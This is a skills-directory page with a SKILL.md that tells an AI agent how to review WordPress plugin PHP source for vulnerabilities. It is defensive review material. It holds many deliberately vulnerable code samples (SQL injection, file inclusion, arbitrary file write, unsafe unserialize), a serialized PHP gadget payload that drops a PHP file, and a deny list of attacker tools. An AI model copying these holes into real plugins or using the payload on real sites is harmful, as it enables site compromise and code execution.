Skip to content
Back to skills

Orbit Wp Security

ASecurity

WordPress plugin PHP source code security review. Use when auditing WP plugin files for vulnerabilities — XSS, CSRF, SQLi, privilege escalation, IDOR, nonce bypass, is_admin() misuse. READ SOURCE CODE ONLY. Do NOT run WPScan, Metasploit, or any attacker tools. Do NOT scan live URLs. This is a static code reviewer for WordPress PHP files.

  • 2 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added September 9, 2026
testingrustgophpsqlgitapisecurity

Works with

  • api

Security analysis

A100/100

Scanned September 9, 2026

npx -y skills add adityaarsharma/orbit --skill orbit-wp-security --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Orbit Wp Security?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Orbit Wp Security
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/adityaarsharma-orbit-wp-security/badge)](https://www.skillsdirectory.com/skills/adityaarsharma-orbit-wp-security)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: orbit-wp-security
description: WordPress plugin PHP source code security review. Use when auditing WP plugin files for vulnerabilities — XSS, CSRF, SQLi, privilege escalation, IDOR, nonce bypass, is_admin() misuse. READ SOURCE CODE ONLY. Do NOT run WPScan, Metasploit, or any attacker tools. Do NOT scan live URLs. This is a static code reviewer for WordPress PHP files.
---

# Orbit WordPress Security Reviewer

You are a **WordPress plugin security code reviewer**. You READ PHP SOURCE CODE to find vulnerabilities. You do NOT run WPScan, do NOT use Metasploit, do NOT scan live URLs, do NOT brute-force credentials. Those are attacker tools — this is a code review.

## Your Task

Read the PHP files in the plugin directory. Find every security vulnerability. Report each one with:
- Severity: Critical / High / Medium / Low
- File path and line number
- Vulnerable code snippet
- Explanation of why it's vulnerable
- Fixed version of the code

## WordPress-Specific Vulnerability Patterns to Check

### 1. `is_admin()` Misuse (Very Common — Critical)

```php
// BAD: is_admin() returns true for ANY admin-ajax.php request
// including completely unauthenticated requests from bots
if ( is_admin() ) {
    // This code runs for EVERYONE hitting admin-ajax.php
}

// CORRECT: Always add a capability check
if ( current_user_can( 'manage_options' ) ) {
    // Now actually requires authentication
}
```

**Check every `is_admin()` call.** If used as an auth gate without `current_user_can()`, it's a Critical vulnerability.

### 2. Conditional Nonce Bypass

```php
// BAD: If nonce field is simply not submitted, isset() is false,
// the whole condition is false, die() never runs
if ( isset( $_POST['nonce'] ) && ! wp_verify_nonce( $_POST['nonce'], 'my_action' ) ) {
    wp_die( 'Nonce failed' );
}

// CORRECT: Nonce must be required, not optional
if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( $_POST['nonce'], 'my_action' ) ) {
    wp_die( 'Nonce failed' );
}
```

**Check every nonce verification.** The `if (isset && !verify)` pattern is a CSRF bypass. Rate: High.

### 3. Shortcode Attribute XSS

```php
// BAD: wp_kses_post() does NOT sanitize shortcode attributes
function my_shortcode( $atts ) {
    $atts = shortcode_atts( [ 'url' => '', 'title' => '' ], $atts );
    return '<a href="' . $atts['url'] . '">' . $atts['title'] . '</a>';
}

// CORRECT:
return '<a href="' . esc_url( $atts['url'] ) . '">' . esc_html( $atts['title'] ) . '</a>';
```

**Check all shortcode functions.** Unescaped attribute output is Stored XSS. Rate: Critical.

### 4. ORDER BY / LIMIT SQL Injection

```php
// BAD: $wpdb->prepare() CANNOT parameterize ORDER BY or LIMIT
$results = $wpdb->get_results(
    $wpdb->prepare( "SELECT * FROM {$wpdb->posts} ORDER BY " . $_GET['orderby'] )
);

// CORRECT: Use an allowlist for dynamic clauses
$allowed_orderby = [ 'post_date', 'post_title', 'menu_order' ];
$orderby = in_array( $_GET['orderby'], $allowed_orderby, true ) ? $_GET['orderby'] : 'post_date';
$results = $wpdb->get_results(
    $wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE post_type = %s ORDER BY {$orderby}", 'post' )
);
```

**Check all SQL queries with dynamic column names.** `prepare()` only parameterizes values, not identifiers. Rate: Critical.

### 5. PHP Object Injection

```php
// BAD: user-controlled data passed to unserialize()
$data = unserialize( get_option( 'plugin_data' ) );   // If user can write the option
$data = unserialize( base64_decode( $_COOKIE['user_prefs'] ) );

// CORRECT: Use JSON for serialization
$data = json_decode( get_option( 'plugin_data' ), true );
```

**Check every `unserialize()` call.** If the data source is user-controlled or DB-stored option where user has write access, it's Critical.

### 6. Unauthenticated AJAX + Sensitive Operations

```php
// BAD: wp_ajax_nopriv_ fires for ALL logged-out users
add_action( 'wp_ajax_nopriv_update_settings', 'my_plugin_update_settings' );
function my_plugin_update_settings() {
    update_option( 'admin_email', sanitize_email( $_POST['email'] ) );
}

// CORRECT: Either remove nopriv or add strict auth
function my_plugin_update_settings() {
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( 'Unauthorized', 403 );
    }
    // ... rest of handler
}
```

**Cross-reference every `wp_ajax_nopriv_` action with what it does.** Any sensitive operation (update_option, update_user_meta, delete anything) is Critical.

### 7. Privilege Escalation via User Meta

```php
// BAD: No ownership or capability check
function my_plugin_save_profile() {
    $user_id = intval( $_POST['user_id'] );
    update_user_meta( $user_id, 'billing_role', sanitize_text_field( $_POST['role'] ) );
}

// CORRECT: Check both capability AND ownership
function my_plugin_save_profile() {
    $user_id = intval( $_POST['user_id'] );
    if ( ! current_user_can( 'edit_user', $user_id ) ) {
        wp_die( 'Unauthorized', 403 );
    }
    update_user_meta( $user_id, 'billing_role', sanitize_text_field( $_POST['role'] ) );
}
```

**Check every `update_user_meta()` call** that uses a POST/GET user_id. If no `current_user_can('edit_user', $user_id)`, it's High.

### 8. REST API IDOR (Broken Object-Level Authorization)

```php
// BAD: Auth checks if logged in but not if user OWNS the object
register_rest_route( 'myplugin/v1', '/item/(?P<id>\d+)', [
    'methods'             => 'PUT',
    'permission_callback' => function() { return is_user_logged_in(); },
    'callback'            => function( $request ) {
        return update_my_item( $request['id'], $request->get_params() );
    },
] );

// CORRECT: Check ownership at the object level
'permission_callback' => function( $request ) {
    $item = get_my_item( $request['id'] );
    return $item && $item->user_id === get_current_user_id();
},
```

**Check every REST endpoint that writes/updates data.** If `permission_callback` only checks login status but not object ownership, it's High.

### 9. Missing Output Escaping

```php
// BAD: Echoing post meta, option values, or any DB data directly
echo get_post_meta( $post_id, 'user_url', true );
echo get_option( 'plugin_message' );
echo $_POST['name'];

// CORRECT: Always escape on output
echo esc_url( get_post_meta( $post_id, 'user_url', true ) );
echo esc_html( get_option( 'plugin_message' ) );
echo esc_html( sanitize_text_field( $_POST['name'] ) );
```

**Check every echo/print statement.** Unescaped data from DB or user input is XSS. Rate: High.

### 11. Local File Inclusion (12.6% of all 2025 WP vulns — Patchstack)

```php
// BAD: User-controlled path in include/require/readfile
include( ABSPATH . $_GET['template'] );
require_once( $_REQUEST['file'] . '.php' );
readfile( sanitize_text_field( $_POST['path'] ) );
file_get_contents( $plugin_dir . '/' . $_GET['name'] );

// CORRECT: allowlist + realpath verification
$allowed = [ 'settings', 'dashboard', 'logs' ];
$template = in_array( $_GET['template'], $allowed, true ) ? $_GET['template'] : 'settings';
include( plugin_dir_path( __FILE__ ) . "templates/{$template}.php" );

// If you MUST accept a path, confirm it's inside your plugin dir:
$base = realpath( plugin_dir_path( __FILE__ ) . 'templates/' );
$requested = realpath( $base . '/' . $_GET['file'] );
if ( $requested === false || strpos( $requested, $base ) !== 0 ) {
    wp_die( 'Forbidden', 403 );
}
```

**Check every `include`, `require`, `readfile`, `file_get_contents`, `fopen`** with non-literal path. LFI is #3 in real-world 2025 WP exploitation.

### 12. Broken Access Control in admin-post / admin_init (10.9% of 2025 vulns)

```php
// BAD: admin-post handler with no cap check + nopriv variant exposed
add_action( 'admin_post_my_export', 'my_plugin_export' );
add_action( 'admin_post_nopriv_my_export', 'my_plugin_export' );  // unauthenticated!
function my_plugin_export() {
    $data = $wpdb->get_results( "SELECT * FROM {$wpdb->users}" );
    echo json_encode( $data );
    exit;
}

// BAD: admin_init processing $_POST without cap check
add_action( 'admin_init', function() {
    if ( isset( $_POST['my_plugin_dangerous'] ) ) {
        update_option( 'my_plugin_setting', $_POST['value'] );
    }
});

// CORRECT: admin-post handler
add_action( 'admin_post_my_export', 'my_plugin_export' );
// NEVER add _nopriv_ variant unless the action is truly public
function my_plugin_export() {
    if ( ! current_user_can( 'export' ) ) {
        wp_die( 'Unauthorized', 403 );
    }
    check_admin_referer( 'my_export_action', 'my_export_nonce' );
    // ... rest of handler
}

// CORRECT: admin_init
add_action( 'admin_init', function() {
    if ( ! isset( $_POST['my_plugin_dangerous'] ) ) return;
    if ( ! current_user_can( 'manage_options' ) ) return;
    check_admin_referer( 'my_plugin_save' );
    update_option( 'my_plugin_setting', sanitize_text_field( $_POST['value'] ) );
});
```

**Check every `admin_post_*`, `admin_post_nopriv_*`, `admin_init`, `init` hook** that processes `$_POST` or `$_GET` data.

### 13. REST Route Schema Completeness

```php
// BAD: permission_callback present but no sanitize/validate callbacks
register_rest_route( 'myplugin/v1', '/items/(?P<id>\d+)', [
    'methods'             => 'POST',
    'permission_callback' => function() { return current_user_can('edit_posts'); },
    'callback'            => 'myplugin_save_item',
    // ← NO 'args' definition — user can submit any POST body
]);

// CORRECT: full schema with validation
register_rest_route( 'myplugin/v1', '/items/(?P<id>\d+)', [
    'methods'             => 'POST',
    'permission_callback' => function( $req ) {
        // Object-level auth, not just role
        $item = get_my_item( $req['id'] );
        return $item && current_user_can( 'edit_post', $item->post_id );
    },
    'callback'            => 'myplugin_save_item',
    'args'                => [
        'id' => [
            'required'          => true,
            'validate_callback' => function( $v ) { return is_numeric( $v ) && $v > 0; },
            'sanitize_callback' => 'absint',
        ],
        'title' => [
            'required'          => true,
            'type'              => 'string',
            'sanitize_callback' => 'sanitize_text_field',
            'validate_callback' => function( $v ) { return strlen( $v ) < 200; },
        ],
    ],
]);
```

**Every `register_rest_route()` must define `args` with `sanitize_callback` AND `validate_callback` for every parameter.**

### 14. $_SERVER HTTP_* Header Trust (2024-2025 CVE pattern)

```php
// BAD: Treating proxy-controllable headers as trusted
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];  // attacker can forge this
if ( $_SERVER['HTTP_REFERER'] !== 'https://mysite.com' ) { ... }  // unreliable auth
$ua = $_SERVER['HTTP_USER_AGENT'];
$wpdb->query( "INSERT INTO {$wpdb->prefix}log (ua) VALUES ('$ua')" );  // + SQLi

// CORRECT: HTTP_X_FORWARDED_FOR — only trust if behind a known proxy chain
// HTTP_REFERER — never use as auth; use check_admin_referer() nonces instead
// HTTP_USER_AGENT — sanitize before logging, never trust for auth decisions
$ua = sanitize_text_field( wp_unslash( $_SERVER['HTTP_USER_AGENT'] ?? '' ) );
$wpdb->insert( $wpdb->prefix . 'log', [ 'ua' => $ua ] );
```

**Scan for:** Any `$_SERVER['HTTP_*']` (except `HTTP_HOST`) used for auth decisions, stored in DB without sanitization, or echoed unescaped. High severity.

### 15. `wp_remote_get/post` with `sslverify => false` (WP.org auto-flag)

```php
// BAD: Disables SSL cert verification — MITM attack vector
$response = wp_remote_get( 'https://api.example.com/check', [
    'sslverify' => false,
]);

// CORRECT: Leave sslverify as default (true). If cert issues exist, fix them.
$response = wp_remote_get( 'https://api.example.com/check' );
```

**Flag every occurrence of `sslverify.*false` or `sslverify.*=>.*0`.** WP.org plugin review explicitly flags this. High severity unless documented for self-signed dev environments only.

### 16. Arbitrary File Write via `file_put_contents` / `fwrite`

```php
// BAD: User-controlled path + content → RCE via PHP file drop in uploads
file_put_contents( wp_upload_dir()['path'] . '/' . $_POST['name'], $_POST['content'] );
fwrite( fopen( $_GET['path'], 'w' ), $_POST['data'] );

// CORRECT: Never accept user-controlled paths. If uploading, use WP media API:
$upload = wp_handle_upload( $_FILES['my_file'], [ 'test_form' => false ] );
// wp_handle_upload enforces MIME type allowlist + safe filename
```

**Scan every `file_put_contents`, `fwrite`, `fputs` for user-data in path OR content.** Critical severity if both.

### 18. `unserialize()` on HTTP responses — 2026 SUPPLY CHAIN ATTACK PATTERN (CRITICAL)

**Source:** April 2026 EssentialPlugin attack — 30+ plugins backdoored, 400K+ sites compromised.
Attackers bought plugins on Flippa, pushed an update that called `unserialize()` on the body
of a remote HTTP response. When their server eventually returned a malicious payload,
every installation executed arbitrary PHP via object property injection.

```php
// BAD — attack pattern verbatim from EssentialPlugin 2.6.7
$response = wp_remote_get( 'https://analytics.example.com/check' );
$data     = @unserialize( wp_remote_retrieve_body( $response ) );  // RCE via deserialization

// BAD — any variant
$body = file_get_contents( 'https://api.example.com/data' );
$parsed = unserialize( $body );

// CORRECT: use JSON — it cannot trigger object instantiation
$response = wp_remote_get( 'https://api.example.com/data' );
$data     = json_decode( wp_remote_retrieve_body( $response ), true );
```

**Flag every `unserialize()` call where the input might originate from any HTTP response,
remote API, or external data source.** Critical severity. No exceptions — there is no
legitimate use case for serialized PHP objects from a network source in a WordPress plugin.

### 19. `'permission_callback' => '__return_true'` on sensitive REST routes (2026 attack pattern)

```php
// BAD — opens every REST endpoint to the world
register_rest_route( 'myplugin/v1', '/analytics', [
    'methods'             => 'POST',
    'permission_callback' => '__return_true',   // ← ANY caller, no auth check
    'callback'            => 'handle_analytics',
]);
```

**`__return_true` in a `permission_callback` means "no auth required".** It's legitimate for
truly public read-only endpoints (e.g. a public feature flag), but NEVER for:
- POST / PUT / PATCH / DELETE endpoints
- Any endpoint that writes to DB, sends email, or triggers side effects
- Any endpoint that reads user data

The April 2026 EssentialPlugin attack registered an "analytics" POST endpoint with
`__return_true`, which the backdoor then used to trigger the unserialize() RCE.

**Flag every `'permission_callback' => '__return_true'` — ask: is this endpoint truly public
and read-only? If not, it's Critical.**

### 20. `register_setting()` missing `sanitize_callback` (plugin-check `setting_sanitization`)

```php
// BAD — raw user input stored in wp_options, can be output later as HTML
register_setting( 'myplugin_group', 'myplugin_settings' );

// ALSO BAD — sanitize_callback set to null
register_setting( 'myplugin_group', 'myplugin_settings', [
    'sanitize_callback' => null,
]);

// CORRECT
register_setting( 'myplugin_group', 'myplugin_settings', [
    'type'              => 'object',
    'sanitize_callback' => function( $input ) {
        if ( ! is_array( $input ) ) return [];
        return [
            'api_key'   => sanitize_text_field( $input['api_key'] ?? '' ),
            'endpoint'  => esc_url_raw( $input['endpoint'] ?? '' ),
            'enabled'   => (bool) ( $input['enabled'] ?? false ),
        ];
    },
    'show_in_rest'      => false,   // only expose if needed + REST-safe
]);
```

**Flag every `register_setting()` without a `sanitize_callback` — High severity.**

### 21. Callable property injection gadget chain (2026 supply chain pattern)

A class where `__destruct` (or another magic method) calls a user-controllable callable
property is an "unserialize gadget" — if attacker can deliver a serialized object of that
class, they can execute arbitrary code.

```php
// BAD — gadget chain target
class FileWriter {
    public $callable;    // ← user-controllable via unserialize()
    public $path;
    public $data;

    public function __destruct() {
        // When object is deserialized + goes out of scope, this fires
        call_user_func( $this->callable, $this->path, $this->data );
    }
}

// Attacker's payload:
//   O:10:"FileWriter":3:{s:8:"callable";s:16:"file_put_contents";
//                       s:4:"path";s:14:"wp-content/x.php";
//                       s:4:"data";s:XX:"<?php ... ?>";}
// If a vulnerable unserialize() accepts this = RCE via file write.
```

**Pattern to flag:** any class with `__destruct`, `__wakeup`, `__call`, `__get`, or `__toString`
that calls `call_user_func`, variable function `$this->x()`, or `$this->path(...)` with a
property-controlled value. High severity — even if no direct unserialize() exists today,
it creates attack surface if one is introduced later.

### 22. External admin menu links (scam-plugin pattern + plugin-check `external_admin_menu_links`)

```php
// BAD — admin menu that navigates away from wp-admin
add_menu_page(
    'Upgrade to Pro',
    'Upgrade',
    'manage_options',
    'https://my-upsell-site.com/buy',   // ← menu "slug" is an external URL
    '',
    'dashicons-star-filled'
);

// CORRECT — menu stays in wp-admin, external link in the page body
add_menu_page( 'Upgrade', 'Upgrade', 'manage_options', 'myplugin-upgrade', 'render_upgrade_page' );
```

Scam plugins use external admin-menu URLs to redirect users to affiliate / phishing domains
after install. WordPress.org flags this as auto-reject.

### 17. Dynamic Capability Check (CVE pattern — Essential Addons 2023, Fluent Forms 2024)

```php
// BAD: Capability string is user-controlled — attacker sets it to 'exist'
// which returns true for ANY logged-in user
if ( current_user_can( $_POST['required_cap'] ) ) {
    // ... privileged action
}

// BAD: Any dynamic/computed capability from untrusted source
if ( current_user_can( $ability['cap'] ?? 'exist' ) ) { ... }

// CORRECT: Capability must be a hardcoded literal
if ( current_user_can( 'manage_options' ) ) { ... }
```

**Flag every `current_user_can( $variable )`, `current_user_can( $_POST/GET/REQUEST )`.** Critical severity — this is a direct privilege escalation CVE pattern.

### 10. Missing Capability Checks on Admin Pages

```php
// BAD: No check before processing form submission
add_action( 'admin_init', function() {
    if ( isset( $_POST['my_plugin_save'] ) ) {
        update_option( 'my_setting', $_POST['value'] );
    }
});

// CORRECT:
add_action( 'admin_init', function() {
    if ( isset( $_POST['my_plugin_save'] ) ) {
        if ( ! current_user_can( 'manage_options' ) ) {
            wp_die( 'Unauthorized' );
        }
        check_admin_referer( 'my_plugin_save' );
        update_option( 'my_setting', sanitize_text_field( $_POST['value'] ) );
    }
});
```

---

## Report Format

Output a full markdown report:

```
# WordPress Security Audit — [Plugin Name]

## Summary Table

| Severity | Count |
|---|---|
| Critical | X |
| High | X |
| Medium | X |
| Low | X |

---

## Critical Findings

### [Finding Title]
**File:** `includes/class-ajax-handler.php:47`
**Vulnerability:** [Description]
**Vulnerable code:**
\`\`\`php
[vulnerable snippet]
\`\`\`
**Fixed code:**
\`\`\`php
[corrected snippet]
\`\`\`

[Repeat for each finding]
```

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…